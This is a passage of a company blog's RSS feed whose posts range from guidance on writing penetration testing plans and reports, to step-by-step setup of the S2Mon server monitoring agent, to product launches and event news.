<p>You can use bullets to list the test you will perform against the application. The <a href="https://www.owasp.org/index.php/Top_10_2013-Top_10" target="_blank" rel="noopener noreferrer" title="OWASP Top 10">OWASP Top 10</a> are a good start. Of course, here you will need to have in mind the specifics of the assessment you are doing.</p>
<p>After that, you describe the</p>
<h4>Tools</h4>
<p>you will use to perform the tests. Don&rsquo;t forget to add &lsquo;custom scripts&rsquo; to the list, in case you need to code some script for the task.</p>
<p>The final section of the &lsquo;administrative&rsquo; part of the PTP is a list of the</p>
<h4>IP Addresses</h4>
<p>Yet another table with two or three columns: Tester, IP Address, Zone (External/Internet, Internal/VPN).</p>
<p>Now, we are getting to the &lsquo;technical&rsquo; part of the testing plan. I would start it with an</p>
<h3>Application Map</h3>
<p>section. Remember how the CEOs cannot read plain text? Include a picture of the application, describing the process flow and the functions of the application. You may also include a list of the dynamic and static URLs.</p>
<p>To create the application map, you can use Burp Pro, or manually browse through the application and take notes. It is important to include everything that you plan to attack during the test.</p>
<p>When you have a good understanding of the application and the client, you can document the</p>
<h3>Threat Models</h3>
<p>In this section, you need to describe the reasons an attacker would have to attack the application. You will be putting their shoes on after all. So you will have to have a good understanding of both the client and the application. Of course, you will include hactivism, and skids, but you also need to have specifics &ndash; for example, is the application storing sensitive data that could be the target of a hacker, and so on.</p>
<p>The next section that should be included is about the</p>
<h3>Scenarios</h3>
<p>you will replay. Each scenario should have a short description and a list of the actions a possible attacker would make to take over the application: passively gather information, browse through the application, search for attack vectors, attack as unauthenticated user, brute-force login forms, try as authenticated user, etc.</p>
<p>Then, you have to describe the specific</p>
<h3>Tasks</h3>
<p>you will have to complete during the test. Each task should have a</p>
<ul>
<li>Title: this&nbsp; is the specific test you will do.</li>
<li>Task Description: a short description of the test.</li>
<li>Sub-tasks: the specific actions you will take.</li>
<li>Task Goal: what you are trying to achieve.</li>
<li>Task Tools: what you will use.Task Risks: how the task can affect the application.</li>
</ul>
<p>Here is a short example:</p>
<h4>Data Validation Testing</h4>
<p>Task Description</p>
<p>Test the application for data validation flaws such as XSS, SQL Injection, overflows, format string issues, and HTTP Splitting.</p>
<h5>Task Goal</h5>
<p>Identify any potential entry point and test user input for injections.</p>
<h5>Subtasks</h5>
<ul>
<li>Manipulate HTTP requests and observe HTTP responses.</li>
<li>Tamper with user input.</li>
<li>Test for SQL injections.</li>
<li>Test for XSS.</li>
<li>Test for code injections.</li>
<li>Test for command injections.</li>
</ul>
<h5>Task Tools</h5>
<ul>
<li>Browser and browser extensions</li>
<li>Local proxies</li>
<li>SQL Injection tools (sqlmap)</li>
<li>w3af</li>
</ul>
<h5>Task Risks</h5>
<ul>
<li>Application crash.</li>
<li>Server overload.</li>
</ul>
<p>And this is the end of the Penetration Testing Plan. As promised, we talked alot about it, but this plan will be the basis of your</p>
<h2>Final Report</h2>
<p>Actually, most of the PTP goes into the conclusion report. Again, you have the Purpose of This Document, Revision History, Project Definition, Test Goals and Objectives, and Test Scope sections. You can also include a Terminology section, because while the PTP may have been approved by a more technical person, the people that will get the final report may not be that technical.</p>
<p>Then you will have to place a</p>
<h3>Summary of Findings</h3>
<p>section. Decision makers do not have the time to go through the entire report, so it is important that this one comes first. Here, you will summarize all your findings in a language that a non-technical person can understand. It is always a good idea to include a colored table with the vulnerabilities and the risks they are posing to the application and the company. If you are good at charts, don&rsquo;t hesitate and include one. A friend of mine, who is a really good manager says that &ldquo;if it doesn&rsquo;t have a pie chart, I would not bother looking at it.&rdquo; As sad as this is, this is the truth. When you are managing a big company, everything becomes a table or a chart to you, so don&rsquo;t spare them to the readers of your reports.</p>
<p>If you include a table with the vulnerabilities and the risks, take your time and describe them in short paragraphs one by one. You can include a couple of screenshots here to make your point.</p>
<p>When you are done with this, it is time for the</p>
<h3>Recommendations</h3>
<p>section. After this section, most decision makers would stop reading, so do your best. Take each individual issue and&nbsp; make a recommendation on how to fix it. Be concise and to the point. This section should be pretty straightforward.</p>
<p>Now, you can start writing for the technical staff. The next section is the</p>
<h3>Details on the Findings and the Recommendations</h3>
<p>Here, you should include all technical details on how to recreate each issue and how to fix it. Go through the entire process of the test, starting from the information gathering. Go through your actions, describe the findings and issue technical recommendations.</p>
<p>For each test, described in the PTP, provide the details of the tasks and the results of the tests. You can include other documents with the results from the automated tools to keep the report short.</p>
<p>After that, you need to include a</p>
<h3>Conclusion</h3>
<p>section. It can be one to three paragraphs, summarizing the results of the entire assessment. Basically, in this section, you need to answer to the question that was set as a test goal previously.</p>
<p>If there is data that is short and important enough to go in the report, you can include an</p>
<h3>Appendices</h3>
<p>section.</p>
<p>And that is it!</p>
<h2>Finally</h2>
<p>I have to say that I wrote this post in a heart-beat, in a very nice tavern, and my phone is screaming for low battery, so my Internet time for the night is coming to an end. I am not really tracking my time (all the time).&nbsp; I hack things, and I am good at it.</p>
<p>The report I was writing about is not a vulnerability report from an automated tool. What we do is&nbsp; not what some companies sell as penetration testing. We do most of the things manually. When we use automated tools (mostly fuzzers), we verify every finding by hand. I have yet to meet the hacker that would use IBM AppScan to hack a site&hellip;</p>
<p>And we would give a sample testing plan and a sample report to anyone who asks for it. I am proud of the work we do, and I firmly believe that information has to be shared. I would also welcome suggestions on how to improve it, so don&rsquo;t be shy and share your thoughts!</p>]]></content:encoded>
            </item>
                    <item>
                <title>Dizzyjam @ Music Hack Day</title>
                <link>https://mtr-design.com/news/dizzyjam-musichackday</link>
                <guid>https://mtr-design.com/news/dizzyjam-musichackday</guid>
                <pubDate>Mon, 18 Feb 2013 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>If you had a slumberous February weekend, there is no reason to feel bad about it - after all, most of the world did. There was a special group of people, however, who gave up sleep and rest, in favor of creating awesome applications that could change the way you and I experience music. Yes, I'm talking about the hackers that took part in the <a title="MusicHackDay Sf'2013" href="http://sf.musichackday.org/2013/index.php?page=Main+page" target="_blank" rel="noopener noreferrer">MusicHackDay event in San Francisco</a>. These are the guys pushing the envelope, and these are the ideas you should watch out for, in case you have anything to do with the music industry.</p>]]></description>
                <content:encoded><![CDATA[<p>The event produced <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks" target="_blank" rel="noopener noreferrer">66 projects</a>&nbsp;ranging from turning <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks/body-waves" target="_blank" rel="noopener noreferrer">body outlines to soundwaves via a Kinect controller</a>&nbsp;to a web platform for <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks/instrumentio" target="_blank" rel="noopener noreferrer">borrowing/renting musical instruments</a>. It's an (yet) invisible creativity explosion - the sort of mini-nova that bursts into billions particles, giving birth to planets and star systems, millions of years later. Well, in the IT gravitational field a million of years pass just like one day, so we should expect the results quite soon!&nbsp;</p>
<p>Thanks to the organizers, we were able to do an online presentation of the <a href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">Dizzyjam website</a>, and more specifically, of a new feature we've recently added - the Dizzyjam API. As you might expect, it s a web-based, RESTful API that enables you to access all Dizzyjam functions programmatically. It <a href="http://www.dizzyjam.com/apidoc/" target="_blank" rel="noopener noreferrer">boasts a web console built into the docs</a>, a&nbsp;<a href="http://wordpress.org/extend/plugins/dizzyjam/" target="_blank" rel="noopener noreferrer">WordPress plugin</a>,&nbsp;bindings for <a href="https://github.com/mtrdesign/dizzyapi-php" target="_blank" rel="noopener noreferrer">Python</a>&nbsp;and <a href="https://github.com/mtrdesign/dizzyapi-php" target="_blank" rel="noopener noreferrer">PHP</a>, as well as a piece of unique functionality - creating new Dizzyjam users through your API account (see <a href="http://www.dizzyjam.com/apidoc/#manage.create_user" target="_blank" rel="noopener noreferrer">the manage/create_user method</a>). The API got utilized by a very interesting project during the hackathlon - <a title="Merchr" href="http://merchr.herokuapp.com/" target="_blank" rel="noopener noreferrer">Merchr</a>. It's the <em>why-did-not-I-think-of-it-first</em> kind of project - simple idea that could be a game changer one day. I sincerely hope that the guys behind this project will keep on hacking and bringing good stuff out!</p>]]></content:encoded>
            </item>
                    <item>
                <title>Get in business with Cotton Cart</title>
                <link>https://mtr-design.com/news/get-in-business-with-cotton-cart</link>
                <guid>https://mtr-design.com/news/get-in-business-with-cotton-cart</guid>
                <pubDate>Tue, 29 Jan 2013 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p><a title="Cotton Cart" href="http://www.cottoncart.com/" target="_blank" rel="noopener noreferrer">Cotton Cart</a>, our newest project, has just launched. Some of you are probably already familiar with <a title="Dizzyjam" href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">Dizzyjam</a> - our e-commerce and merchandising platform which we created to make it easy and risk-free for anyone in the music industry to make money from their merchandise.</p>]]></description>
                <content:encoded><![CDATA[<p>In the past we&rsquo;ve received quite a lot of requests from people who wanted to use <a title="Dizzyjam" href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">Dizzyjam</a> for trading non-music stuff. And as those requests grew we started thinking about including a non-music section in the original website. Or creating an entirely new website for those who want to sell merchandise no matter what their business activity is. After short reflection we went for the second option and just before Christmas we did a soft launch of <a title="Cotton Cart" href="http://www.cottoncart.com/" target="_blank" rel="noopener noreferrer">Cotton Cart</a>.</p>
<p>The new site follows the overall idea of <a title="Dizzyjam" href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">www.dizzyjam.com</a> &ndash; in only three simple steps anyone can start making money - upload your designs, create your products and start selling. You don&rsquo;t have to buy 100 blank t-shirts, to organize printing or pile up all the stuff you can&rsquo;t sell. It won&rsquo;t cost you a penny. But it will cost you creativity and popularity in order to make anyone besides your granny buy your stuff. <a title="Cotton Cart" href="http://www.cottoncart.com/" target="_blank" rel="noopener noreferrer">Cotton Cart</a> is here to solve the popularity issue.</p>
<div class="video"><iframe src="https://player.vimeo.com/video/54846928?color=C4161C&amp;title=0&amp;byline=0&amp;portrait=0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="" width="853" height="480" frameborder="0"></iframe></div>
<h2>Who can use this website?</h2>
<p><strong>Everyone.</strong> This may be a graffitist who wants to get famous, the grocery shop around the corner, where the best veggies are sold or a charity organisation that raises money for its cause. In fact such fundraising activities were the first to open their virtual stalls in <a title="Cotton Cart" href="http://www.cottoncart.com/" target="_blank" rel="noopener noreferrer">Cotton Cart</a>. Another clever idea is to use the platform for producing t-shirts or other merch for corporate events &ndash; team buildings, annual meetings and seminars. The website can be used for promoting sports events &ndash; just upload your local rugby team&rsquo;s design, print your merch and sell them to your fans in the neighbourhood. Surely you will have an audience to remember the next time your team meets the rivals.</p>
<p>The possibilities are countless &ndash; your imagination is the limit. So far we have charity and fundraising groups, festivals, sports events and we can&rsquo;t wait to see what else you can think of while using <a title="Cotton Cart" href="http://www.cottoncart.com/" target="_blank" rel="noopener noreferrer">Cotton Cart</a>.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Python and Django from dawn till dusk</title>
                <link>https://mtr-design.com/news/python-and-django-from-dawn-till-dusk</link>
                <guid>https://mtr-design.com/news/python-and-django-from-dawn-till-dusk</guid>
                <pubDate>Thu, 10 Jan 2013 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>We've been invited to do another training session on Python and Django at the <a title="Telerik Academy" href="http://academy.telerik.com/" target="_blank" rel="noopener noreferrer">Telerik Academy</a>.</p>]]></description>
                <content:encoded><![CDATA[<p>This time, it will be an intensive morning-to-evening seminar, with the aim of getting you from zero to hero on both Python and Django. Well, maybe not a true hero, but it will give you the basics of both technologies, so you can go on and study/work with them on your own. If you're in Sofia and getting into Python or Django has always been an unfulfilled childhood dream for you, or if you simply want to pick up some new and highly competitive skills for free, then waste not another minute - hurry to <a title="Python and Django development seminar at the Telerik Academy" href="http://academy.telerik.com/seminars/python-and-django-development" target="_blank" rel="noopener noreferrer">http://academy.telerik.com/seminars/python-and-django-development</a> and reserve your seat!</p>]]></content:encoded>
            </item>
                    <item>
                <title>Server monitoring with S2Mon - Part 2</title>
                <link>https://mtr-design.com/news/server-monitoring-with-s2mon-part-2</link>
                <guid>https://mtr-design.com/news/server-monitoring-with-s2mon-part-2</guid>
                <pubDate>Thu, 06 Dec 2012 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>In <a title="Part 1" href="/news/server-monitoring-with-s2mon-part-1/">part 1</a> I covered the reasons why it is in your best interest to monitor your servers, and how can S2Mon help with that task. Well, we know that monitoring can be all cool and shiny, but how hard is it to set up? After all, the (real or perceived) effort required for the initial configuration is the single biggest reason why people avoid monitoring. In this part I'll explore the configuration process with S2Mon.</p>]]></description>
                <content:encoded><![CDATA[<h3>1. Overview</h3>
<p>The S2 system relies on an agent installed on the server side to send information to the central brain over an encrypted SSL connection. The agent we are using is, of course, open-source script (written in Bash), so anyone can look inside it, and see what it is doing exactly. Don't know about you but I would feel very uneasy if I had to install some "proprietary" monitoring binary on my machines - it could be a remotely controlled trojan horse for all I know. So, keeping the agent open is key to us.</p>
<p>The open-source agent confirms another key point - it only *sends* information out to the central S2Mon servers, it does not *receive* any commands/configurations back. The communication here is one way - from the agent to the S2Mon center. The S2Mon center cannot modify the agent behavior in any way whatsoever.</p>
<h3>2. Requirements</h3>
<p>Since the agent is mainly written in Bash, it, obviously, requires Bash to be available on the monitored system. Fortunately, Bash is available on any Linux system released during the last 15 years or so. The other requirements are:</p>
<ul>
<li>Perl</li>
<li>curl</li>
<li>bzip</li>
<li>netstat</li>
<li>Linux OS</li>
</ul>
<p>The required tools are all present in most of the contemporary Linux distributions, but in case you have any doubts, you can check out the&nbsp;<a href="http://apiwiki.s2mon.com/push-data-agent/installation/prerequisites" target="_blank" rel="noopener noreferrer">prerequisites</a> page for distro-specific tips.</p>
<p>The Linux OS requirement is the major one here - S2Mon currently runs on Linux only. We have plans to make it available to Mac OS, *BSD and Windows users in the future, but for the time being, these platforms are not supported.</p>
<h3>3. Registering an account</h3>
<p>You will obviously need an S2Mon account, so, in case you do not have one, head to <a href="https://www.s2mon.com/registration/" target="_blank" rel="noopener noreferrer">https://www.s2mon.com/registration/</a>. Once you submit your desired account name and your email address, you will be taken straight to your Dashboard, and your password will be sent over email to you (so make sure you get that email field right).</p>
<p>The Dashboard is very restricted at this point - you need to verify your email address to unlock the full functionality of the system. To complete the verification, simply click on the activation link you got in your mailbox. That's it, your S2Mon account is now fully functional!</p>
<h3>4. Adding a server entry to the S2Mon site</h3>
<p>OK, this is where the fun starts. Before the S2Mon system starts accepting any data from your server, you need to create a server record in the S2Mon system. Go to <a href="https://www.s2mon.com/host/add/" target="_blank" rel="noopener noreferrer">https://www.s2mon.com/host/add/</a> (or <em>Servers</em> -&gt; <em>Add host</em> , if you would prefer) and fill in the following form:</p>
<p><img title="Add Host" src="/storage/var/images/news/s2mon/addhost.png" alt="Add Host" width="600" /></p>
<p><em>Hostname</em> should be a unique identifier of your server - it does not need to be a Fully Qualified Domain Name (FQDN) - though it is a good idea to use that. For an <em>Address</em>, you should enter the external IP address of the host. This is the IP address is where <em>Ping</em> probes will be sent to, should you choose to enable them from the drop-down menu. It is a good idea to enable these probes if the server is ping-able; in this way you will get an alert if the ping dies - this is considered an indication that something is wrong. The <em>Label</em> field is optional free-text that you may use to describe your server. If you fill it in, it will be the server identifier used throughout the S2 site; otherwise the <em>Hostname</em> would be used.</p>
<p>After you submit the form, you will be presented with the basic steps that you will need to follow to get the probe running. Since you are reading this blog post, you can just copy the <em>Pushdata Agent URL</em> and ignore everything else :). The <em>Pushdata Agent URL</em> is the address where the agent would send all of the monitoring information, so it is the most important piece of data on that page. In case you forgot it, accidentally closed the page,or the dog ate your computer, don't worry, you can always get back to this page via <em>Servers</em> -&gt; <em>Edit</em> button -&gt; <em>Probe setup</em> tab.</p>
<h3>5. Activating the services you want to monitor</h3>
<p>Now go to <a href="https://www.s2mon.com/servers/">https://www.s2mon.com/servers/</a>. You will see the list of your servers there, but there is also a convenient panel where you can enable or disable certain services. Go on and activate the ones you are interested in (or, if you are like me - all of them):</p>
<p><img title="Service Activation" src="/storage/var/images/news/s2mon/serviceactivation.png" alt="Service Activation" width="600" height="251" /></p>
<h3>6. Running the probe on the server</h3>
<p>This is the trickiest part of it all, as there is a lot of different ways to do it, depending on the server controls you have at hand. I'll assume that you have SSH access to the server, so you can run commands directly. If you do not have this kind of access though, you may still be able to run the S2 probe if you can:</p>
<ul>
<li>Download the probe archive, extract it, and put the extracted files onto your server;</li>
<li>Run a periodical task (cron job) every minute, which would fire the executable agent script at the specified URL.</li>
</ul>
<p>The S2Mon agent does NOT require a root account - you can run it from an unprivileged account. Even though I trust the agent completely, I run it from an unprivileged account on all my servers - it's a good approach security-wise, and it is more tidy. In some cases, however, unprivileged accounts may not have access to all built-in metrics, so you might want to run the cron job with root privileges - it's up to you and your specific setup</p>
<p>So, regardless of which account you decide to run the agent under, you can log in with that account and do the following:</p>
<pre>s2mon ~$ wget https://dc1.s2-monitoring.com/active-node/a/s2-pushdata.tar.gz # download
s2mon ~$ tar xzf s2-pushdata.tar.gz # extract
s2mon ~$ ls -la s2-pushdata/post.sh # verify that the post.sh script has executable permissions
s2mon ~$ cd s2-pushdata/
s2mon ~/s2-pushdata$ DEBUG_ENABLED=1 ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" # Use your specific Pushdata Agent URL here, enclosed in single or double quotes!</pre>
<p>You will get some debug output out of the last command; it will abort if there is anything missing (for example, if curl is not installed on the system). If everything is OK, the last line would indicate successful data submission, e.g.:</p>
<pre>DEBUG: POST(https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com): 21 keys (8879 -&gt; 2539 bytes).</pre>
<p>The only thing that's left to do is to set the agent to be executed every minute. Again, there are a few different ways to do this, but the most common one is to run '<em>crontab -e</em>', which will open up your user's crontab for editing. Then you only need to append the line:</p>
<pre>* * * * * cd /path/to/s2-pushdata/ &amp;&amp; ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" &amp;&gt;/dev/null</pre>
<p>Please make sure that you substitute /path/to/s2-pushdata/ with the actual path to the s2-pushdata directory on your system, and to change the URL to the value that you got after adding your host record in the S2Mon website (note: changing just the hostname part at the end will NOT work).</p>
<h3>7. Profit!</h3>
<p>OK, if you were able to complete steps 5,6 and 7, then you should see the nifty monitoring widget on your S2Mon Dashboard turn all green. Congrats, your server is now monitored and you are recording the history of its most intimate parameters!</p>
<p><img title="Widget - OK Status" src="/storage/var/images/news/s2mon/widgetok.png" alt="Widget - OK Status" width="310" height="327" /></p>
<h3>8. (Optional) MySQL monitoring configuration</h3>
<p>The MySQL service requires some extra configuration for the S2Mon agent to be able to look inside it, so you will need to take some extra steps if you want to monitor any of the MySQL services. The easiest way to do this is to:</p>
<ul>
<li>Create a MySQL user for S2Mon to use, by using the following query (ran as MySQL root or equivalent)</li>
</ul>
<pre>GRANT USAGE ON *.* TO 's2-monitor'@'localhost' IDENTIFIED BY '*******';</pre>
<p>Make sure to replace '*******' with a completely random password. Don't worry, you will not need to remember it for long!</p>
<ul>
<li>Create the files <em>/etc/s2-pushdata/mysql-username</em> and <em>/etc/s2-pushdata/mysql-password</em> on your system, and put the username (<em>s2-monitor</em> in this case) and password in the respective file (on a single line).</li>
<li>Change the ownership of those so that only the user that you are running S2Mon under can read them (for example set them to 0400).</li>
</ul>
<p>After this is all done, you will see the MySQL data charts slowly starting to fill in with data in the next few minutes.</p>
<h3>9. Post-setup</h3>
<p>Now that you have a host successfully added to the interface, the next logical step would be to setup some kind of notification that would poke you when the some parameter goes too high or too low. Additionally, you might want to enable other people to view or modify the server data in your account. Both tasks are easy with S2Mon and I will show you how to do it in the next part.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Free your people</title>
                <link>https://mtr-design.com/news/free-your-people</link>
                <guid>https://mtr-design.com/news/free-your-people</guid>
                <pubDate>Tue, 04 Dec 2012 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p><em>The more you free your people to think for themselves, the more they can help you. You don't have to do this all on your own.</em><br /><strong>&mdash; Richard Branson</strong></p>]]></description>
                <content:encoded><![CDATA[<blockquote>
<p>The more you free your people to think for themselves, the more they can help you. You don't have to do this all on your own.<br /><strong>&mdash; Richard Branson</strong></p>
</blockquote>]]></content:encoded>
            </item>
                    <item>
                <title>Server monitoring with S2Mon - Part 1</title>
                <link>https://mtr-design.com/news/server-monitoring-with-s2mon-part-1</link>
                <guid>https://mtr-design.com/news/server-monitoring-with-s2mon-part-1</guid>
                <pubDate>Thu, 29 Nov 2012 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>We've all heard that servers sometimes break for one reason or another. We often forget, however, how inevitable it is. While everything is working, the system looks like a rock solid blend of software and hardware. You get the feeling that if you don't touch it, it would keep spinning for years.</p>]]></description>
                <content:encoded><![CDATA[<p>That's a very misleading feeling. The proper operation of a server depends on many dynamic parts, like having Internet connectivity, stable power supply, proper cooling, enough network bandwidth, free disk space, running services, available CPU power, IO bandwidth, memory, ... That's just the tip of the iceberg, but I think the point is clear - there is <em>a lot</em> that can go wrong with a server.&nbsp;</p>
<p>Eventually some of those subsystems will break down for one reason or another. When one of them fails, it usually brings down others, creating a digital mayhem that can be quite hard to untangle. Businesses relying on the servers being up and running tend not to look too favorably on the inevitability of the situation. Instead of accepting the incident philosophically and being grateful for the great uptime so far, business owners instead go for questions like "What happened?!?!!", "What's causing this???" and "WHEN WILL IT BE BACK UP????!!!". Sad, I know.&nbsp;</p>
<p>Smart people, who would rather avoid coming unprepared for those questions, have come up with the idea of monitoring, so that:</p>
<ul>
<li>problems are caught up in their infant stages, before they cause real damage (e.g. slowly increasing disk space usage);</li>
<li>when some malfunction does occur, they can cast a quick glance over the various monitoring gauges, and quickly determine what's the root cause of it;</li>
<li>they can follow trends in the server metrics, so they can both get insight into issues from the past and predict future behavior.</li>
</ul>
<p>These are all extremely valuable benefits, and it's widely accepted that the importance of server monitoring is coming second only to the criticality of backups. Yet, there are more servers out there without proper monitoring that you would expect. The main reasons not so setup monitoring are all part of our human nature, and can be summed up to "<em>what a hurdle to install and configure...</em>", "<em>the server is doing it's job anyway...</em>" and my favorite <em>"I'll do it...eventually</em>".</p>
<p>I have some news for the Linux server administrators - you have an excuse no more. We've come up with a <a title="S2Mon" href="https://www.s2mon.com" target="_blank" rel="noopener noreferrer">web monitoring system</a> for your servers that is easy to setup, rich in functionality and completely free (at least for the time being). Go on and see a <a title="Demo" href="https://www.s2mon.com/demo/" target="_blank" rel="noopener noreferrer">demo</a>&nbsp;of it, if you don't believe me. If you decide to <a title="S2Mon Registration" href="https://www.s2mon.com/registration/" target="_blank" rel="noopener noreferrer">subscribe</a>, it will take less than 1 minute. Adding a machine to be monitored basically boils down to downloading a Bash script and setting it up as a cron job (you'll get step-by-step instructions after you log in and add a new server record on the web). And if you want to integrate <a href="https://www.s2mon.com" target="_blank" rel="noopener noreferrer">S2Mon</a> into a custom workflow/interface of yours, there is API access to everything (in fact, the entire <a title="S2Mon" href="https://www.s2mon.com/" target="_blank" rel="noopener noreferrer">S2Mon website</a> is one big API client).</p>
<p>Once you hook up your server to the system, you will unlock a plethora of detailed stats, presented in interactive charts like this one:</p>
<p><img title="Weekly Apache Stats" src="/storage/var/images/news/s2mon/apachechilds.png" alt="Apache children" width="600" height="472" /></p>
<p>What we see above is a pretty picture of the load falling on the Apache web server. Apparently we've had the same pattern repeating during the last week. That's a visual proof that the web server workload varies a lot throughout the day (nothing unexpected, but we can now actually measure it!).</p>
<p>OK, I now want to see how are my disk partitions faring, and when should I plan for adding disk space:</p>
<p><img title="Disk Usage Stats" src="/storage/var/images/news/s2mon/diskusage.png" alt="Disk Usage Stats" width="600" height="787" /></p>
<p>Both partitions are steadily growing, but if the rate is kept, there should be enough space for the next 5-6 months.</p>
<p>Hey, you know what, I just got some complaints from a user that a server was slow yesterday, was there anything odd?</p>
<p><img title="Load Average" src="/storage/var/images/news/s2mon/loadaveragecurs.png" alt="Load Average" width="600" height="481" /></p>
<p>Yep, most definitely. The load was pretty high throughout the entire afternoon. Believe it or not this time it was not his virus-infested Windows computer...</p>
<p>Your boss wants some insight on a specific network service, say IMAP? There you go:</p>
<p><img title="IMAP - Connections per service" src="/storage/var/images/news/s2mon/imapconnperservice.png" alt="IMAP - Connections per service" width="600" height="408" /></p>
<p>Wonder what your precious CPU spends its time on? See here:</p>
<p><img title="CPU Stats" src="/storage/var/images/news/s2mon/cpustats.png" alt="CPU Stats" width="600" /></p>
<p>As you see, S2Mon can provide you with extremely detailed stats ready to be used anytime you need them. Of course, there is a lot more to it, and I'll cover more aspects of the setup, configuration and the work with S2Mon it in the next parts. As always, feedback is more than welcome!</p>]]></content:encoded>
            </item>
                    <item>
                <title>Stayin&#039; secure with Web Security Watch</title>
                <link>https://mtr-design.com/news/stayin-secure-with-web-security-watch</link>
                <guid>https://mtr-design.com/news/stayin-secure-with-web-security-watch</guid>
                <pubDate>Thu, 22 Nov 2012 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>Is your server/website secure? How do you <strong>really</strong> know? Let me get back to this in a while.</p>]]></description>
                <content:encoded><![CDATA[<p>As you may be aware there is a ton of security advisories released by multiple sources every day. That's a true wealth of valuable information flowing out on the Internet. Being aware of the issues described in these advisories could make all the difference between being safe and getting hacked; between spending a few minutes to patch up, and spending weeks recovering lost data, reputation and customer trust. So who would *not* take advantage of the public security advisories, right?</p>
<p>Not really. See, there is the problem of information overflow. There is really a lot of sources of security information, each of them spewing dozens of articles every given day. To make it worse, very few of those articles are really relevant to you. So, if you do want to track them, you end up manually reviewing 99% of junk to get to the 1% that is really relevant to your setup. A lot of system/security administrators are spending several dull hours every week to go through reports that rarely concern them.&nbsp;Some even hire a full-time dedicated operators to process the information.&nbsp;Others simply don't care about the advisories, because the review process is too time-consuming.&nbsp;</p>
<p>Well, we decided we can help with the major pains of the advisory monitoring process. So we built <a title="Web Security Watch" href="http://www.websecuritywatch.com/" target="_blank" rel="noopener noreferrer">Web Security Watch</a> (WSW) for this purpose. This website aggregates security advisories coming from multiple reputable sources (so you don't miss anything), groups them together (so you don't get multiple copies), and tags them based on the affected products/applications. The last action is particularly important, as tags allow you to filter just the items that you are interested in, e.g. "WordPress", "MySQL","Apache". What's more, we wrote an <a title="Selected Tags RSS" href="http://wordpress.org/extend/plugins/selected-tags-rss/" target="_blank" rel="noopener noreferrer">RSS module for WordPress</a>, so you can subscribe to an RSS feed which only contains the tags you care about. A custom security feed just for you - how cool is that? Oh, and in case you didn't notice - the site is great for security research. And it's free.</p>
<p>Even though WSW is quite young, it already contains more than 4500 advisories, and the number grows every day. We will continue to improve the site functionality and the tagging process, which is still a bit rough around the edges. If you have any feature requests or suggestions, we would be really happy to hear them - feel free to use the <a title="Web Security Watch - contact form" href="http://www.websecuritywatch.com/contact/" target="_blank" rel="noopener noreferrer">contact form</a> to get in touch with us with anything on your mind.</p>
<p>Now, to return to my original question. You can't really tell if your site/server is secure until you see it from the eyes of a hacker. And that requires some capable penetration testers. Even after you had the perfect penetration test performed by the greatest hackers in the world, however, you may end up being hacked and defaced by a script kiddie on the next week, due to vulnerability that just got disclosed publicly.</p>
<p>Which gets me to the basic truth about staying secure - security is not a state, it's a process. A large part of that process is staying current with the available security information, and <a title="Web Security Watch" href="http://www.websecuritywatch.com/" target="_blank" rel="noopener noreferrer">Web Security Watch</a> can help you with that part.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Probably the longest webpage yet – Hugh&#039;s Fish Fight 834,000 Names under the Sea</title>
                <link>https://mtr-design.com/news/probably-the-longest-webpage-yet</link>
                <guid>https://mtr-design.com/news/probably-the-longest-webpage-yet</guid>
                <pubDate>Thu, 08 Nov 2012 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>At MTR Design we are open to challenges so when the guys from KEO Films asked us whether we could create the longest webpage yet, we were more than pleased to accept the commission.</p>]]></description>
                <content:encoded><![CDATA[<div class="align-right"><img style="border: none;" src="/storage/var/images/news/fishfight-iphone.png" alt="" width="250" height="670" /></div>
<p>Fish Fight - a multi-platform campaign produced by KEO Films and led by TV campaigner Hugh Fearnley-Whittingstall - has ignited earlier this week a campaign promoting the Fish Fight initiative by explicitly drawing the attention to every person who has supported them. The time for the kick off was strategically chosen - prior to an important CFP meeting in Brussels. Making every single voice count could eventually impact the decision making process in the EU.</p>
<p>In order to make this happen they needed a new webpage vesting the idea. Not an ordinary webpage but a special one. They needed a really long webpage which would list all of its 830k+ supporters. A deep dive indeed.</p>
<p>We took the commission and created the webpage. The main challenge before us was squeezing a content so enormous (three times larger than Tolstoy's &ldquo;War and Peace&rdquo;) in a smoothly working and convenient webpage that could perform well on desktop browsers as well as on smartphone&rsquo;s OS. Just imagine scrolling down to the line 123 945 for finding your name on the wall of glory of FishFight. Good news is it won&rsquo;t take you a whole day - we made it quick. Bad news is - you&rsquo;ll need a really long display. Thank you iPhone for making this hypothetically possible!</p>
<p><span style="font-size: 14px;">You should definitely check out Hugh's Fish Fight 834,000 Names under the Sea webpage with the new apple wonder:</span></p>
<p>Well if you don&rsquo;t have it yet, don&rsquo;t panic - just run the site on your preferred device and dive as deep as you can.</p>
<p><strong>See it at <a href="http://www.fishfight.net/" target="_blank" rel="noopener noreferrer">www.fishfight.net</a></strong></p>]]></content:encoded>
            </item>
                    <item>
                <title>PyLogWatch is born</title>
                <link>https://mtr-design.com/news/pylogwatch-is-born</link>
                <guid>https://mtr-design.com/news/pylogwatch-is-born</guid>
